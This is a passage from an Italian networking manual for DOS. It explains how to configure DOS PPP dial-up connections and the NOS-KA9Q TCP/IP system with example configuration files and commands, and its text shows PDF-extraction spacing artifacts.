Questo dovrebbe facilitare la realizzazione di un altroscript che generi al volo i file di con-figurazione degli applicativi che si intendono usare. Per esempio, volendo realizzare il file diconfigurazione‘WATTCP.CFG’ per i programmi che incorporano la libreriaWATTCP, si potrebbeprocedere come si vede nell’esempio seguente:

CALL IP-UP.batECHO MY_IP=%MYIP% > WATTCP.CFGECHO GATEWAY=%REMIP% >> WATTCP.CFGECHO NETMASK=%NETMASK% >> WATTCP.CFGECHO NAMESERVER=195.210.91.1 >> WATTCP.CFGECHO MSS=512 >> WATTCP.CFG

Si può osservare che loscript, oltre a tradurre le variabili di ambiente in direttive del file‘WATTCP.CFG’ , aggiunge anche le direttive necessarie per definire ilservente e per definire ladimensione massima dei segmenti di pacchetto.

Su ‘CHAT.EXE’ non c’è nulla di speciale, tranne il fatto che questo programma non può funzio-nare da solo, ma deve trovarsi sotto il controllo di‘EPPPD.EXE’ . Le opzioni sono molto similialla versione originale per i sistemi Unix. In generale vale la pena di utilizzare l’opzione‘ -v ’ pervedere cosa succede durante l’avvio della connessione.

204.2.1 Opzioni particolari per il PPP

Il programma‘EPPPD.EXE’ accetta la maggior parte delle opzioni delle vecchie edizioni di‘pppd ’ per i sistemi Unix. Per verificare quali sono le opzioni disponibili basta leggere ladocumentazione allegata, che riproduce lapagina di manuale relativa.

• user utente

passwd parola_d’ordine

DOS PPP è in grado di gestire esclusivamente l’autenticazione PAP, ma senza l’ausilio diun file dei segreti. In pratica, si fa uso delle opzioni‘user ’ e ‘passwd ’ , con le quali sifornisce il nominativo utente e laparola d’ordine, senza altre specifiche.

• pktvec irq

Dal momento che si tratta didriver di pacchetto,DOS PPP si avvale di un IRQ softwareche può essere scelto esplicitamente, oppure può essere definito automaticamente dal pro-gramma. L’opzione‘pktvec ’ permette di fissare il valore di tale IRQ, assegnando valoriesadecimali nella forma‘0x nn’ . Il valore predefinito usuale è 6016.

Page 243: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Dos PPP 2227

204.3 Connessione in pratica

Si suppone di avere la possibilità di collegarsi a un servizio di accesso aInternet che ha lecaratteristiche seguenti:

• telefono 0987 6543210;

• utenza‘ tizio ’ ;

• parola d’ordine‘asdfghjk ’ ;

• indirizzo IP del DNS primario 123.123.123.1.

Inoltre, si utilizza la prima porta seriale, ovvero‘COM1:’ , che viene configurata per una velocitàdi 57600 bit/s. Si realizza il file‘PPPD.CFG’ con il contenuto seguente:

com157600user tiziopasswd asdfghjkconnect "chat -v ’’ ATZ OK ATX3 OK ATDT9876543210 CONNECT ’’ "

In questo modo, quando si avvia‘EPPPD.EXE’ , questo avvia prima‘CHAT.EXE’ in modo da ini-zializzare il modem, comporre il numero telefonico e attendere la connessione; successivamente,l’autenticazione avviene attraverso il protocollo PAP.

Si può osservare l’opzione‘ -v ’ di ‘CHAT.EXE’ , che serve per vedere i messaggi scambiati traquesto programma e il modem, durante le operazioni. La conoscenza di questi dettagli serve percorreggere eventualmente la stringa, in base al comportamento effettivo del modem.2

Una volta instaurata la connessione,‘EPPPD.EXE’ crea il file‘ IP-UP.BAT ’ , che può essere sfrut-tato come è già stato visto in precedenza da un altroscript che generi i file di configurazionenecessari agli altri applicativi, specificando così anche il DNS primario e la dimensione massi-ma del segmento (MSS). L’esempio seguente mostra unoscript necessario a generare un file diconfigurazione per gli applicativi che usano la libreriaWATTCP:

CALL IP-UP.batECHO MY_IP=%MYIP% > WATTCP.CFGECHO GATEWAY=%REMIP% >> WATTCP.CFGECHO NETMASK=%NETMASK% >> WATTCP.CFGECHO NAMESERVER=123.123.123.1 >> WATTCP.CFGECHO MSS=512 >> WATTCP.CFG

Per concludere la connessione, si usa il programma‘TERMIN.COM’ , che viene distribuito an-che assieme aDOS PPP, ma per questo occorre conoscere l’indirizzo IRQ software utilizza-to da ‘EPPPD.EXE’ . Per esempio, se si tratta dell’indirizzo IRQ 6016 (quello predefinito), bastaprocedere come segue:

C:> TERMIN 0x60

Appunti di informatica libera 2003.01.01 ---Copyright© 2000-2003 Daniele Giacomini --daniele @ swlibero.org

2Naturalmente, nello stesso modo si potrebbe realizzare un accesso di tipo tradizionale, in cui sia‘CHAT.EXE’ ainviare il nominativo utente e laparola d’ordine. Tuttavia, è sempre meno probabile che un fornitore di accesso aInternetutilizzi ancora tale vecchia procedura.

Page 244: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Capitolo 205Introduzione a NOS-KA9Q -- IPv4 per DosNOS 1 è una sorta di sistema operativo per le reti IPv4 nato per soddisfare le esigenze dei ra-dioamatori. Se si considerano l’età e il fatto che funziona perfettamente su un sistema operativoDos, si tratta di un applicativo eccezionale quando si dispone di hardware molto vecchio. La siglaKA9Q è il nominativo da radioamatore dell’autore originale di questo programma, Phil Karn, maspesso si fa riferimento a questo software indifferentemente con le sigle KA9Q,NOS o qualcosache termina per* NOS.2

Esistono diverse interpretazioni del sistemaNOS-KA9Q; probabilmente il riferimento miglioreper ottenere il materiale necessario è il depositoSimtel.Net, che ospita una directory appositaper questo:<ftp://ftp.simtel.net/pub/simtelnet/msdos/tcpip/>. In particolare è necessario prelevare il filecontenente l’eseguibile‘NET.EXE’ , che potrebbe avere un nome simile a‘e920603.zip ’ (doveil numero corrisponde alla data ed eventualmente potrebbe essere sostituito da una versione piùrecente) e poi conviene prelevare altri file per ottenere della documentazione:‘ intronos.zip ’ ,‘ka9qbgn.zip ’ e ‘nos_slfp.zip ’ (questo ultimo file può essere utile soprattutto per vederecome potrebbe essere effettuata una connessione PPP attraverso la porta seriale e il modem).

La versione 920603, corrispondente al file‘e920603.zip ’ , è adatta ad architetturei86 di qua-lunque tipo (dal8088 in su). Probabilmente ciò vale anche per qualche versione più recente,ma si deve fare attenzione: la versione 951123 è fatta peri386 o superiori. Se non si riescea trovare una versione del programma‘NET.EXE’ abbastanza vecchia, si può provare a usarequella contenuta nel pacchetto‘nos_slfp.zip ’ . In questo capitolo si fa riferimento a unaversione diNOS per architetture modeste (i286 o inferiori).

NOS, una volta avviato, prende il controllo del sistema e i comandi che si impartiscono sonointerpretati da questo, senza passare per il Dos sottostante. Anche per questa ragione si introducel’uso di NOS in un capitolo separato, rispetto a quello già dedicato agli applicativi Dos (capitolo203).

Qui si mostrano le caratteristiche «normali» diNOS, nel senso che di questo sistema di retesono state realizzate un’infinità di varianti. Evidentemente, ilNOS che si può trovare puòcorrispondere o meno alle caratteristiche che vengono descritte qui. Se il pacchettoNOS chesi trova contiene qualche file di documentazione, conviene leggerlo per verificare che tuttocorrisponda a quanto previsto.

205.1 Preparazione

Anche se non si intendono sfruttare a fondo tutte le possibilità diNOS, conviene creare tutte ledirectory previste da questo mini sistema di rete. Se non si vuole fare fatica nella configurazione,conviene predisporre quelle seguenti, che riguardano le versioni «normali» diNOS:C:\SPOOLC:\SPOOL\HELPC:\SPOOL\MAILC:\SPOOL\MQUEUEC:\SPOOL\RQUEUEC:\SPOOL\NEWS

1NOS dominio pubblico2NOS è disponibile in varie versioni per diversi sistemi operativi: PMNOS per Presentation Manager (OS/2), Amiga-

NOS per Amiga e TNOS per GNU/Linux! L’attenzione di questo capitolo è comunque rivolta alle versioni diNOS perDos.

2228

Page 245: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a NOS-KA9Q -- IPv4 per Dos 2229

Come si può intuire, si tratta di spazi predisposti per la gestione della posta elettronica; cosa checomunque non verrà mostrata in questo capitolo.

Volendo utilizzare una posizione diversa, nello stesso disco o in un altro, occorre almeno mante-nere la stessa struttura; per esempio come nel modo seguente, tenendo conto che occorre avviareil programma‘NET.EXE’ specificando questa variante nelle opzioni.D:\NOS\SPOOLD:\NOS\SPOOL\HELPD:\NOS\SPOOL\MAILD:\NOS\SPOOL\MQUEUED:\NOS\SPOOL\RQUEUED:\NOS\SPOOL\NEWS

205.1.1 Configurazione con il file AUTOEXEC.NET

Nella directory utilizzata come punto di inizio della gerarchia del sistemaNOS, va collocatoil file di configurazione‘AUTOEXEC.NET’ . Questo rappresenta semplicemente una sequenza dicomandiNOS da eseguire prima di mostrare l’invito all’utente. È abbastanza importante pre-disporre questo file, per non dover ogni volta ridefinire la configurazione delle interfacce e gliinstradamenti relativi.

Ovviamente, per sapere come predisporre questo file occorre conoscere i comandi del sistemaNOS. Per cominciare si tenga presente che sono ammessi i commenti prefissati dal simbolo‘#’e terminati dalla fine della riga in cui appaiono; inoltre, se si utilizza un elaboratore appartenen-te alla famiglia «AT», cioè quelli che hanno un’architetturai286 o superiore, può essere utileindicare il comando‘ isat on ’ . Per il momento si osservi l’esempio seguente, che si riferisceall’uso di una scheda di rete gestita attraverso undriver di pacchetto di quelli descritti nel capitoloprecedente (203).

# Se non si tratta di un elaboratore compatibile IBM AT (o superiore),# la riga seguente deve essere commentata o eliminata.#isat on

# Configurazione dell’interfaccia di rete utilizzando il# riferimento al packet driver (il nome ethernet0 viene stabilito qui,# e non si tratta di una convenzione di NOS).attach packet 0x7e ethernet0 8 1500

# Definizione dell’indirizzo IP dell’interfaccia di rete.ifconfig ethernet0 ipaddress 192.168.1.10ifconfig ethernet0 netmask 255.255.255.0

# Instradamento.route add 192.168.1.0/24 ethernet0route add default ethernet0 192.168.1.254

# DNSdomain addserver 192.168.1.1domain suffix brot.dg.

# Servizi abilitati.start discardstart echostart fingerstart ftp

Page 246: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2230 Introduzione a NOS-KA9Q -- IPv4 per Dos

205.1.2 Driver di pacchetto

Il sistemaNOS richiede per funzionare che le interfacce di rete da utilizzare siano controlla-te da undriver di pacchetto, tranne nei casi in cui è in grado di gestirsele da solo.NOS puòutilizzare i driver di pacchetto già mostrati nel capitolo203 e altri specifici, come nel caso delfile ‘nos_slfp.zip ’ che contiene il necessario per gestire una connessione PPP partendo dalcontrollo della porta seriale e del modem.

Per non appesantire troppo la presentazione del sistemaNOS, vengono mostrati solo esempiche fanno riferimento a una scheda di rete gestita attraverso undriver di pacchetto configurato inmodo da utilizzare l’indirizzo IRQ 7E16 per comunicare con le applicazioni. Volendo fare il solitoesempio della scheda NE2000 configurata per usare l’indirizzo IRQ 11 e la porta di I/O 30016, sitratta di usare il comando seguente:

NE2000.COM 0x7e 0x0b 0x300

205.1.3 Avvio del sistema NOS (NET.EXE)

Tutto il sistemaNOS è inserito in un solo eseguibile Dos:‘NET.EXE’ . All’avvio del programmapuò essere conveniente utilizzare qualche opzione.

NET [ -b ] [ -s n_porte] [ -d directory_nos] [ file_configurazione]

Dopo l’avvio, il sistemaNOS mostra alcune informazioni riferite alla versione e quindi l’invitoa inserire dei comandi:

KA9Q NOS version 910618 -> 911007 (ghm/was)Copyright 1990 by Phil Karn, KA9Qnet> _

Qui viene mostrata una versione particolarmente vecchia del programma; se si trattasse di un’e-dizione specifica per microprocessorii386 o superiori, tale informazione apparirebbe tra quelleche precedono l’invito.

Tutti i comandi che vengono descritti nelle sezioni successive devono essere impartiti al sistemaNOS attraverso l’invito ‘net> ’ , oppure possono essere collocati nel file di configurazione (disolito ‘AUTOEXEC.NET’).

Opzione o argomento Descrizione

-b

Con questa opzione si costringeNOS ad aggiornare lo scher-mo attraverso le funzioni del BIOS, anziché accedendo diret-tamente alla memoria video. Ciò rallenta le operazioni, mapuò essere necessario in alcune circostanze, quando si vedeche la visualizzazione sullo schermo non funziona come ci siaspetterebbe.

-s n_porteIn condizioni normali,NOS gestisce un massimo di 40 con-nessioni (un massimo di 40 porte). Se si vuole modificarequesto valore si può intervenire con l’opzione‘ -s ’ .

-d directory_nosSe la struttura di directory che richiedeNOS si trova a partireda una posizione differente dalladirectory radice del disco‘C: ’ , l’opzione‘ -d ’ permette di indicarlo esplicitamente.

file_configurazione

Se si vuole indicare esplicitamente il file di configu-razione (che di solito dovrebbe essere‘ directory_nos\AUTOEXEC.NET’), questo può essere inserito come ultimoargomento della riga di comando, senza l’indicazione diun’opzione apposita.

Page 247: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a NOS-KA9Q -- IPv4 per Dos 2231

Segue la descrizione di alcuni esempi.

• C:\> NET

Avvia il sistemaNOS utilizzando la gerarchia che si articola a partire dalladirectory radicedel disco‘C: ’ (‘C:\SPOOL\ * ’) e il file di configurazione‘C:\AUTOEXEC.NET’ .

• C:\> NET -d C:\NOS

Avvia il sistemaNOS utilizzando la gerarchia che si articola a partire dalla directory‘C:\

NET\ ’ (‘C:\NET\SPOOL\ * ’ ) e il file di configurazione‘C:\NET\AUTOEXEC.NET’ .

• C:\> NET -d C:\NOS C:\NOS.RC

Avvia il sistemaNOS utilizzando la gerarchia che si articola a partire dalla directory‘C:\

NET\ ’ (‘C:\NET\SPOOL\ * ’ ) e il file di configurazione‘C:\NOS.RC ’ .

205.1.4 Conclusione del funzionamento del sistema NOS

Dal momento che il sistemaNOS si comporta come unashell, si può intuire il modo attraverso ilquale si conclude il suo funzionamento: con il comando‘exit ’ :

net> exit

205.1.5 Guida interna

Come suggerisce lo stessoNOS quando si inserisce un comando errato, è disponibile una miniguida interna costituita dall’elenco dei comandi. Si ottiene con‘help ’ , oppure semplicementecon ‘?’ . Non è molto, dal momento che non viene mostrata la sintassi rispettiva, comunque èsempre meglio di nulla.

net> help

205.2 Interfacce, instradamento e nomi

Le cose più importanti da fare per poter utilizzare il sistemaNOS, sono la definizione delle in-terfacce, l’instradamento e la risoluzione dei nomi. Le interfacce vengono «attaccate» attraversoil comando‘attach ’ , quindi vengono configurate attraverso‘ ifconfig ’ , alla fine l’instrada-mento viene definito attraverso il comando‘ route ’ . NOS non ha funzionalità di DNS, a parte lapossibilità di risolvere alcuni nomi di dominio per conto proprio, ma si può avvalere di un DNSesterno attraverso il comando‘domain ’ .

I comandi che vengono descritti in queste sezioni sono usati generalmente per la configurazioneattraverso il file‘AUTOEXEC.NET’ . Ciò dovrebbe essere intuitivo dato il tipo di operazioni che sisvolgono con questi.

Page 248: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2232 Introduzione a NOS-KA9Q -- IPv4 per Dos

205.2.1 Comandi attach e detach

Attraverso il comando‘attach ’ si possono definire le interfacce utilizzate. Di solito l’eseguibile‘NET.EXE’ è predisposto per la gestione delle porte seriali (‘asy ’ ) e per l’uso di undriver dipacchetto esterno.

attach asy i/o irq ppp | slip nome_interfaccia dim_buffer mtu bps[ c][ r][ v]attach packet irq nome_interfaccia coda_trasmissione mtu

Quello che si vede rappresenta la sintassi per la definizione di un’interfaccia seriale (PPP, SLIP,o altre che non sono state indicate) e per un’interfaccia comandata da undriver di pacchettoesterno.

Nel caso del tipo‘asy ’ , cioè della connessione seriale, il numero di IRQ e l’indirizzo di I/O siriferiscono a quelli della porta seriale stessa; inoltre, gli ultimi argomenti sono la velocità espressain bit/s (bps) e una stringa facoltativa dove possono apparire le lettere‘c ’ , ‘ r ’ e ‘v ’ . Queste lettererappresentano tre modalità: se appare la‘c ’ si utilizza il protocollo RTS/CTS; se appare la‘ r ’si abilita la sensibilità al segnale CD (Carrier detect); se appare la‘v ’ si abilita la compressioneVan Jacobson delle intestazioni TCP/IP, ma solo per le connessioni SLIP.

Con le interfacce gestite da undriver di pacchetto esterno diventa tutto più facile, dal momentoche la cosa più importante è solo l’indicazione dell’indirizzo IRQ software (quello che serve aindividuare ildriver).

Per eliminare un’interfaccia si utilizza invece il comando‘detach ’ secondo la sintassi seguente:

detach interfaccia

Segue la descrizione di alcuni esempi.

• attach packet 0x7e ethernet0 8 1500

Utilizza undriver di pacchetto per gestire una schedaEthernet. L’indirizzo IRQ per comu-nicare con ildriver è 7E16; viene definito il nome‘ethernet0 ’ per fare riferimento a questascheda; si pone il limite di otto pacchetti per la coda di trasmissione; si stabilisce l’unitàmassima di trasmissione in 1500 byte.

• attach asy 0x3f8 4 slip sl0 1024 256 9600

Questo esempio è tratto dalla documentazione diNOS e si riferisce a una connessione SLIPattraverso la porta seriale individuata dall’indirizzo di I/O 3F816 e dall’indirizzo IRQ 4. Ilnome che viene attribuito è‘sl0 ’ ; viene definito unbuffer di ricezione di 1024 byte; ladimensione massima dei pacchetti trasmessi è di 256 byte; la velocità della porta seriale èdi 9600 bit/s.

• attach asy 0x3f8 4 ppp pp0 4096 1500 9600 r

Anche questo esempio è tratto dalla documentazione diNOS e si riferisce a una connessionePPP attraverso la porta seriale individuata dall’indirizzo di I/O 3F816 e dall’indirizzo IRQ4. Il nome che viene attribuito è‘pp0 ’ ; viene definito unbufferdi ricezione di 4096 byte; ladimensione massima dei pacchetti trasmessi è di 1500 byte; la velocità della porta seriale èdi 9600 bit/s; viene abilitato il controllo della linea CD del modem.

• detach ethernet0

Elimina l’interfaccia‘ethernet0 ’ .

Page 249: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

Introduzione a NOS-KA9Q -- IPv4 per Dos 2233

205.2.2 Comando ifconfig

Attraverso il comando‘ ifconfig ’ si possono configurare le interfacce definite in preceden-za con il comando‘attach ’ . Il comando può assumere diverse forme, ma in particolare sonoimportanti gli schemi seguenti:

ifconfig [ nome_interfaccia]ifconfig nome_interfaccia ipaddress indirizzo_ip

ifconfig nome_interfaccia netmask maschera_ip

Utilizzando il comando da solo, senza argomenti, si ottiene la visualizzazione dello stato di tuttele interfacce di rete, comprese quelle predefinite; se si specifica il nome di un’interfaccia, ilrisultato si limita allo stato di questa. La seconda e la terza modalità servono invece per abbinareun indirizzo IP e unamaschera di rete all’interfaccia.

Segue la descrizione di alcuni esempi.

• ifconfig ethernet0

Mostra lo stato dell’interfaccia‘ethernet0 ’ , che in precedenza era stata dichiarata conquesto nome.

• ifconfig ethernet0 ipaddress 192.168.1.10

Abbina all’interfaccia l’indirizzo IP 192.168.1.10.

• ifconfig ethernet0 netmask 255.255.255.0

Abbina all’interfaccia la maschera IP 255.255.255.0.

205.2.3 Comando route

Il comando‘ route ’ permette di definire gli instradamenti attraverso le interfacce di rete configu-rate precedentemente, specificando eventualmente anche irouter necessari a raggiungere le retiesterne.

route

route add indirizzo_ip/ n_bit_maschera nome_interfaccia[ router]route add default nome_interfaccia[ router]

La sintassi mostrata rappresenta una semplificazione del comando necessario a definire un in-stradamento. La coppiaindirizzo_ip/n_bit_mascheraè un modo per rappresentare l’indirizzo diuna rete in modo compatto: il numero di bit rappresenta quanti bit iniziali devono essere posti auno nellamaschera di rete.

Per eliminare un instradamento si utilizza la forma seguente:

route drop indirizzo_ip/ n_bit_maschera

route drop default

Segue la descrizione di alcuni esempi.

• route

Mostra l’instradamento delle interfacce.route add 192.168.1.0/24 ethernet0

Page 250: Kernel Linux 2.4: firewall 1985 • Mark Grennan, Firewalling and …proglinux.altervista.org/DOWNLOAD/SCR_linux-manuale... · 2009. 5. 6. · Capitolo 178 Kernel Linux 2.4: NAT/PAT

2234 Introduzione a NOS-KA9Q -- IPv4 per Dos

• Definisce l’instradamento per la rete identificata dagli indirizzi 192.168.1.* attraversol’interfaccia ‘ethernet0 ’ .route add default ethernet0 192.168.1.254

Definisce l’instradamento predefinito attraverso ilrouter 192.168.1.254.